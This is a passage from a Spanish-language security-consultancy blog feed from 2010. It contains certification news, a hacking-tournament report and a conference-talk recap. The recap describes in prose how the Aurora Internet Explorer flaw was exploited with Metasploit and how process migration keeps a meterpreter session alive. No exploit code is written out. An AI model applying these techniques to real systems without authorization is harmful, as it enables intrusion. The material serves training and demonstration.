ATC de EC Council</title><content type='html'>Esto constituye un gran logro de Ramiro Pulgar, Gerente General de Open Sec Ecuador toda vez que el tema de entrenamiento y certificacion en Ecuador es tomado con mayor interés y tanto las empresas como las personas invierten en formarse y mantenerse vigentes demostrando sus capacidades con certificaciones internacionales.&lt;br /&gt;Mediante este acuerdo, Open Sec es un ATC exclusivo&amp;nbsp; en Ecuador y dentro de su territorio de venta y entrenamiento se encuentra también Perú.&lt;br /&gt;Pronto más novedades concretas como próximas fechas y MEJORES precios.&lt;br /&gt;&lt;a href="http://www.concepti.com/centros-autorizados/23/open-sec-ecuador"&gt;http://www.concepti.com/centros-autorizados/23/open-sec-ecuador&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-6861116071160018289?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/6861116071160018289/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/06/open-sec-ecuador-nombrado-atc-de-ec.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6861116071160018289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6861116071160018289'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/06/open-sec-ecuador-nombrado-atc-de-ec.html' title='Open-Sec Ecuador nombrado ATC de EC Council'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-4510200334060216824</id><published>2010-05-10T16:34:00.007-05:00</published><updated>2010-05-10T18:10:02.555-05:00</updated><title type='text'>Peruvians at Offsec !!</title><content type='html'>Hace ya unas semanas la gente de &lt;a href="http://www.information-security-training.com/"&gt;Offensive Security&lt;/a&gt; publicó información sobre un torneo de hacking bastante interesante. El &lt;a href="http://www.information-security-training.com/events/hacking-tournament/"&gt;torneo&lt;/a&gt; fue llevado a cabo desde el sábado 8 de mayo hasta hoy. Básicamente consistió en 2 fases. La primera, como la llamaron ellos, el n00b filter, que consistía ownear un equipo y luego buscar un fichero en el sistema de archivos y utilizar esa llave. &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Tan sólo los 100 primeros en pasar la fase 1 podían recibir el certificado para conectarse a la VPN y jugar la fase 2 en donde encuentras varios otros equipos y la idea es to get root.&lt;br /&gt;&lt;br /&gt;Con el estudio, el dia de la madre y la chamba no hubo mucho tiempo para jugar, sin embargo llegamos (CCuadra,WCuestas y yo) a pasar la fase 1, obteniendo así 25 puntos. &lt;br /&gt;Además, me es grato saber que otro peruano, Andrés Morales logró ownear algunos equipos de la vpn logrando obtener 75 puntos. &lt;br /&gt;Peruvians in the &lt;a href="http://scoreboard.information-security-training.com/scoreboard/"&gt;scoreboard&lt;/a&gt;!!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/S-h-jbhpUsI/AAAAAAAAAHA/aZ76VOG7cPU/s1600/fataku.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="17" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/S-h-jbhpUsI/AAAAAAAAAHA/aZ76VOG7cPU/s400/fataku.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/S-h-nVmqyaI/AAAAAAAAAHI/rRY-e7CfPlI/s1600/chelano.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="36" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/S-h-nVmqyaI/AAAAAAAAAHI/rRY-e7CfPlI/s400/chelano.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;La fase 1 consistía en explotar una vulnerabilidad de un WAF conocido que permite la ejecución de comandos remota. Aquí dejo algunos screenshots del exploit que escribi para superar el reto. He omitido alguna info dado que aun no hay un pronunciamiento oficial por parte de Offsec sobre la solución del reto.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/S-h7Vkpn8eI/AAAAAAAAAGo/1A-BOyDOPYs/s1600/pwd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/S-h7Vkpn8eI/AAAAAAAAAGo/1A-BOyDOPYs/s400/pwd.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/S-iBplLFP_I/AAAAAAAAAHQ/GLYj_QOu7uE/s1600/findNoobSecret2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="100" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/S-iBplLFP_I/AAAAAAAAAHQ/GLYj_QOu7uE/s400/findNoobSecret2.png" width="400" /&gt;&lt;/a&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/S-iBuc-VPPI/AAAAAAAAAHY/W4SOyym9OVg/s1600/noob2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="45" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/S-iBuc-VPPI/AAAAAAAAAHY/W4SOyym9OVg/s400/noob2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;Saludos&lt;br /&gt;&lt;br /&gt;MVelazco&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-4510200334060216824?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/4510200334060216824/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/05/peruvians-at-offsec.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/4510200334060216824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/4510200334060216824'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/05/peruvians-at-offsec.html' title='Peruvians at Offsec !!'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/S-h-jbhpUsI/AAAAAAAAAHA/aZ76VOG7cPU/s72-c/fataku.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-6932129560034372588</id><published>2010-05-10T16:28:00.004-05:00</published><updated>2010-06-11T14:08:55.837-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Certified Ethical Hacker'/><title type='text'>An score of 98% says that Mauricio Velazco is a Certified Ethical Hacker by EC Council...3 C|EH @ Open-Sec and counting...</title><content type='html'>Para nosotros es un tema bien importante el reconocimiento a quienes demuestran feacientemente su conocimiento y el hecho que Mauricio Velazco haya obtenido el dia de hoy la certificacion de C|EH es muy importante por varias razones :&lt;br /&gt;1. Es el miembro mas joven de nuestro equipo y afaik, es el C|EH mas joven en Perú con 24 años.&lt;br /&gt;2. Ya lleva cerca de 2 años haciendo unicamente ehtical hacking y computación forense y el puntaje obtenido en el examen demuestra que su experiencia ayudo mucho para el examen (no llevo un curso o similar).&lt;br /&gt;3. Open-Sec resulta siendo la unica empresa local que cuenta con 3 C|EH en staff permanente.&lt;br /&gt;4. Este es solamente el inicio de una saga de certificaciones que obtendra Mauricio, hoy conversabamos sobre la proxima, CPTE.&lt;br /&gt;&lt;br /&gt;FELICITACIONES MAURICIO!!!&lt;br /&gt;&lt;br /&gt;UPDATE : El día de ayer también obtuvo su certificación como C|EH el consultor Rolando Antón.&amp;nbsp; El no es parte del equipo de Open-Sec, es parte del equipo de Etek Perú, pero, es un gran amigo nuestro y mio en particular.&lt;br /&gt;Dado que hoy día Mauricio Velazco cumplió 25 años, desde hoy hasta octubre de este año, Rolando es el C|EH peruano más joven (AFAIK).&lt;br /&gt;&lt;br /&gt;FELICITACIONES ROLANDO!!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-6932129560034372588?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/6932129560034372588/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/05/score-of-98-says-that-mauricio-velazco.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6932129560034372588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6932129560034372588'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/05/score-of-98-says-that-mauricio-velazco.html' title='An score of 98% says that Mauricio Velazco is a Certified Ethical Hacker by EC Council...3 C|EH @ Open-Sec and counting...'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-412428685826726804</id><published>2010-04-19T19:11:00.002-05:00</published><updated>2010-04-19T19:11:43.499-05:00</updated><title type='text'>Charla Ethical Hacking 2008 en PUCP</title><content type='html'>Este video lo teniamos en el web antiguo y por alguna razon, algunas personas lo reclamaron, sera porque les sirve o porque les resultad divertido.  Como update, Carlos Renzo (el mayorcito de los 3) ya no trabaja con nosotros, pero, seguimos siendo excelentes amigos.&lt;br /&gt;&lt;br /&gt;&lt;object width="310" allowfullscreen="true" height="257"&gt;&lt;param name="movie" value="videos.pucp.edu.pe/flvplayer.swf?id=e2c3b0bf291507&amp;immage=http://videos.pucp.edu.pe/thumbie/1507.jpg&amp;autostart=false"&gt;&lt;/param&gt;&lt;embed src="http://videos.pucp.edu.pe/flvplayer.swf?id=e2c3b0bf291507&amp;immage=http://videos.pucp.edu.pe/thumbie/1507.jpg&amp;autostart=false" allowfullscreen="true" width="310" height="257" bgcolor="#FFFFFF" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-412428685826726804?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/412428685826726804/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/04/charla-ethical-hacking-2008-en-pucp.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/412428685826726804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/412428685826726804'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/04/charla-ethical-hacking-2008-en-pucp.html' title='Charla Ethical Hacking 2008 en PUCP'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-2769635421470818047</id><published>2010-04-07T02:31:00.006-05:00</published><updated>2010-04-09T23:09:45.958-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MS10_002'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Aurora'/><title type='text'>Linux Week y MS10_002</title><content type='html'>Hace unas semanas, me invitaron a dar una charla en la quinta edicion de &lt;a href="http://tuxpuc.pucp.edu.pe/lw2010"&gt;Linux Week&lt;/a&gt; que se realizo en la semana del lunes 15 hasta el viernes 19 de marzo en las instalaciones de la PUCP. Desde aqui quiero felicitar a los organizadores y agradecerles por la invitacion y el buen trato.&lt;br /&gt;&lt;br /&gt;El tema que toque en esa oportunidad fue ataques de lado cliente en donde basicamente hablamos sobre las tendencias de los atacantes, se expuso algunos de los "ataques" mas frecuentes que vienen ocurriendo para el robo de credenciales como lo son el Phishing y el Pharming. Lo ultimo, para que los asistentes tengan conciencia de las consecuencias si no se tiene algunos criterios minimos al momento de ingresar a una url no conocida o aceptar un archivo posiblemente malicioso.&lt;br /&gt;&lt;br /&gt;Terminamos hablando un poco sobre los relativamente recientes ataques contra Google, la denonimada "Operacion Aurora". Fue en este ultimo punto donde realice una pequeña demo donde explote la vulnerabilidad antes mencionada, una vulnerabilidad de corrupcion de memoria que afecta a Internet Explorer&lt;br /&gt;en sus versiones 6 y 7. Mediante esta, un atacante crea un HTML con un codigo javascript malicioso, que al ser interpretado por un navegador afectado, permitira tomar control total del equipo. Para probar el exploit, use Metasploit.&lt;br /&gt;&lt;br /&gt;Una vez explotada la vulnerabilidad, el payload utilizado dependera de la vida del proceso asociado. Esto es debido a que una vez llamada la shellcode, la sesion meterpreter es cargada en el espacio de memoria asignado al proceso explotado, en este caso, iexplorer.exe. Si el navegador se cuelga por el ataque o si la victima simplemente deja de navegar y cierra el Internet Explorer, se libera la memoria, ergo, perdemos la sesion.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/S7wzmS5WktI/AAAAAAAAAGY/asGp0SyP1fk/s1600/ProcessDead1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="165" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/S7wzmS5WktI/AAAAAAAAAGY/asGp0SyP1fk/s400/ProcessDead1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/S7w0CYP76SI/AAAAAAAAAGg/DKAr45IaBAw/s1600/MigratedProc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;Para evitar este escenario, metasploit nos facilita la vida con la funcionalidad de migrar de proceso. Podemos automatizar esto escribiendo un script para que una vez conseguidos los privilegios, creemos un nuevo proceso y migremos a este. Tan solo seteamos el valor AutoRunScript.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/S7w0CYP76SI/AAAAAAAAAGg/DKAr45IaBAw/s1600/MigratedProc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="247" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/S7w0CYP76SI/AAAAAAAAAGg/DKAr45IaBAw/s400/MigratedProc.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Aqui les dejo el script utilizado&lt;br /&gt;&lt;br /&gt;&lt;script src="http://pastebin.com/embed_js.php?i=f8qkZB2z"&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Ah, y la presentacion.&lt;br /&gt;&lt;br /&gt;&lt;div id="__ss_3597268" style="width: 425px;"&gt;&lt;b style="display: block; margin: 12px 0pt 4px;"&gt;&lt;a href="http://www.slideshare.net/mvelazco/client-side-attacks-linuxweek-2010" title="Client Side Attacks- LinuxWeek 2010"&gt;Client Side Attacks- LinuxWeek 2010&lt;/a&gt;&lt;/b&gt;&lt;object height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=linuxweekpucpclientsideattacks-100330155114-phpapp02&amp;stripped_title=client-side-attacks-linuxweek-2010" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=linuxweekpucpclientsideattacks-100330155114-phpapp02&amp;stripped_title=client-side-attacks-linuxweek-2010" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/mvelazco"&gt;mvelazco&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Saludos!&lt;br /&gt;&lt;br /&gt;MVelazco.&lt;br /&gt;&lt;br /&gt;P.D: Tildes omitidas intencionalmente&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-2769635421470818047?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/2769635421470818047/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/04/linux-week-y-ms10002.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/2769635421470818047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/2769635421470818047'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/04/linux-week-y-ms10002.html' title='Linux Week y MS10_002'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_IhM_rPvn0ac/S7wzmS5WktI/AAAAAAAAAGY/asGp0SyP1fk/s72-c/ProcessDead1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-237803739196517028</id><published>2010-04-02T23:02:00.000-05:00</published><updated>2010-04-02T23:02:57.238-05:00</updated><title type='text'>GPEN versus GCIH : Una pequeña, pero, IMPORTANTE DIFERENCIA</title><content type='html'>En un medio con el nuestro (Perú) donde las certificaciones en tema de seguridad estan en la etapa 0 (apenas algunos se han certificado y no es exigencia para realizar labores relacionadas), resulta importante hacer siempre precisiones y dado el prestigio del entrenamiento de SANS y las certificaciones de GIAC, es importante comprender algunas diferencias y no dejar que nos den gato por liebre.&lt;br /&gt;&lt;br /&gt;En diás pasados se aperturó una lista de correo para un grupo de personas con certificaciones de GIAC o alumnis de SANS respecto a ciertos cursos (relacionados los 3 a penetration testing) y luego se aperturó a los certificados y alumnis de manejo de incidentes.&amp;nbsp; Esto dió lugar a unas opiniones de los creadores, gestionadores e instructores de estos cursos de las cuales se puede extraer :&lt;br /&gt;&lt;br /&gt;"504 is more geared to incident response than penetration testing." -Ed Skoudis&lt;br /&gt;(504 es el código del curso que conduce a la certificación GCIH)&lt;br /&gt;&lt;br /&gt;"Thanks for including 504.&amp;nbsp; I took 504 and then tried my new skills out by&lt;br /&gt;attempting an internal pen test against my environment (with written&lt;br /&gt;permission, of course!) and found I was lacking.&amp;nbsp; Although I had the tools&lt;br /&gt;and some skills, the 560 class brought it all together for me as far as a&lt;br /&gt;formal procedure of defining a scope and compiling a report.&amp;nbsp; I think 504&lt;br /&gt;and 560 should be taught together in a two-week SANS Ultra Brain Dump Uber&lt;br /&gt;Course.&amp;nbsp; They certainly complement each other. "&lt;br /&gt;- Tony K. Reusser&lt;br /&gt;(560 es el código del curso que conduce a la certificación GPEN).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-237803739196517028?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/237803739196517028/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/04/gpen-versus-gcih-una-pequena-pero.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/237803739196517028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/237803739196517028'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/04/gpen-versus-gcih-una-pequena-pero.html' title='GPEN versus GCIH : Una pequeña, pero, IMPORTANTE DIFERENCIA'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-7723634008322657686</id><published>2010-03-10T16:19:00.000-05:00</published><updated>2010-03-10T16:19:00.956-05:00</updated><title type='text'>4 Nuevos OSEH (Open-Sec Ethical Hacker)</title><content type='html'>El fin de semana último realizamos otro curso de ethical hacking donde enseñamos las técnicas de ataque que aplicamos en los servicios que realizamos.&lt;br /&gt;Es interesante como los participantes poco a poco van engarzando las diferentes etapas de una penetración de forma casi natural.&lt;br /&gt;Tuvimos especial énfasis en temas de hacking de aplicaciones web, incluso, Camilo Galdos (Dr. White) participó dando una charla al respecto.&amp;nbsp; Obviamente, los participantes quedaron sorprendidos por su juventud y capacidad.&lt;br /&gt;También, tuvimos otra vez un laboratorio en particular sobre hacking de redes wifi.&lt;br /&gt;Así mismo, los participantes pudieron analizar los hechos del "defacement" que sufrimos, aprender a diferencia un verdadero defacemente de un "defacemente", conocer sobre los autores y complices, los "motivadores", analizar "evidencias" públicas y comprender como no siempre las cosas son lo que parecen.&lt;br /&gt;Al final, se llevó a cabo la evaluación con el examen de OSEH que nos permite contar con 4 personas más que han certificado el contar con un nivel elemental en temas de ethical hacking (ya llevamos 30 certificados).&lt;br /&gt;A continuación, algunas imágenes :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/S5gLu05I5qI/AAAAAAAAAGA/6DqfV6YfHog/s1600-h/S2020011.JPG" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/S5gLu05I5qI/AAAAAAAAAGA/6DqfV6YfHog/s320/S2020011.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/S5gMgJWnP5I/AAAAAAAAAGQ/TBKAxSjkoY8/s1600-h/S2020008.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/S5gMgJWnP5I/AAAAAAAAAGQ/TBKAxSjkoY8/s320/S2020008.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/S5gMSk7IkiI/AAAAAAAAAGI/1BUubIQttCY/s1600-h/S2020010.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/S5gMSk7IkiI/AAAAAAAAAGI/1BUubIQttCY/s320/S2020010.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-7723634008322657686?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/7723634008322657686/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/03/4-nuevos-oseh-open-sec-ethical-hacker.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/7723634008322657686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/7723634008322657686'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/03/4-nuevos-oseh-open-sec-ethical-hacker.html' title='4 Nuevos OSEH (Open-Sec Ethical Hacker)'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_IhM_rPvn0ac/S5gLu05I5qI/AAAAAAAAAGA/6DqfV6YfHog/s72-c/S2020011.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-6153554639128906835</id><published>2010-02-19T15:00:00.000-05:00</published><updated>2010-02-19T15:00:01.320-05:00</updated><title type='text'>Metagoofil enhanced</title><content type='html'>Como verán, estamos siendo más productivos con el blog (será porque se acerca el 2012 y queremos ser famosos ? jejeje...).&lt;br /&gt;&lt;br /&gt;Siempre hemos dicho en presentaciones, en conversaciones con los clientes y en los entrenamientos que para nosotros usar herramientas Open Source es vital porque podemos modificarlas según necesitemos sin esperar que el proyecto que las origina lo haga y seria peor si se tratáse de herramientas comerciales o simplemente gratuitas (pero, a cuyo código fuente no tenemos acceso).&lt;br /&gt;&lt;br /&gt;Una de las primeras herramientas que modificamos para manejar adecuadamente algunos cambios en Google y algunas formas de búsqueda es &lt;span style="font-weight: bold;"&gt;metagoofil&lt;/span&gt;, herramienta desarrollada y mantenida por Edge-Security Research y la cual hemos modificado "ligeramente" (incluso, los remito al web de ellos para revisar la excelente documentación creada para esta t00l &lt;a href="http://www.edge-security.com/metagoofil.php"&gt;http://www.edge-security.com/metagoofil.php&lt;/a&gt; )&lt;br /&gt;&lt;br /&gt;Por favor, como siempre les decimos a todos : descarguen esta versión, revisen el código, asegurense que no tiene un troyano o similar y luego de eso, usenla.&lt;br /&gt;&lt;br /&gt;El programa esta comentado para un mejor entendimiento.&lt;br /&gt;&lt;br /&gt;Descarga : &lt;a href="http://www.sendspace.com/file/k69vbg"&gt;Metagoofil.py&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-6153554639128906835?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/6153554639128906835/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/02/metagoofil-enhanced.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/6153554639128906835'/><link rel='self' 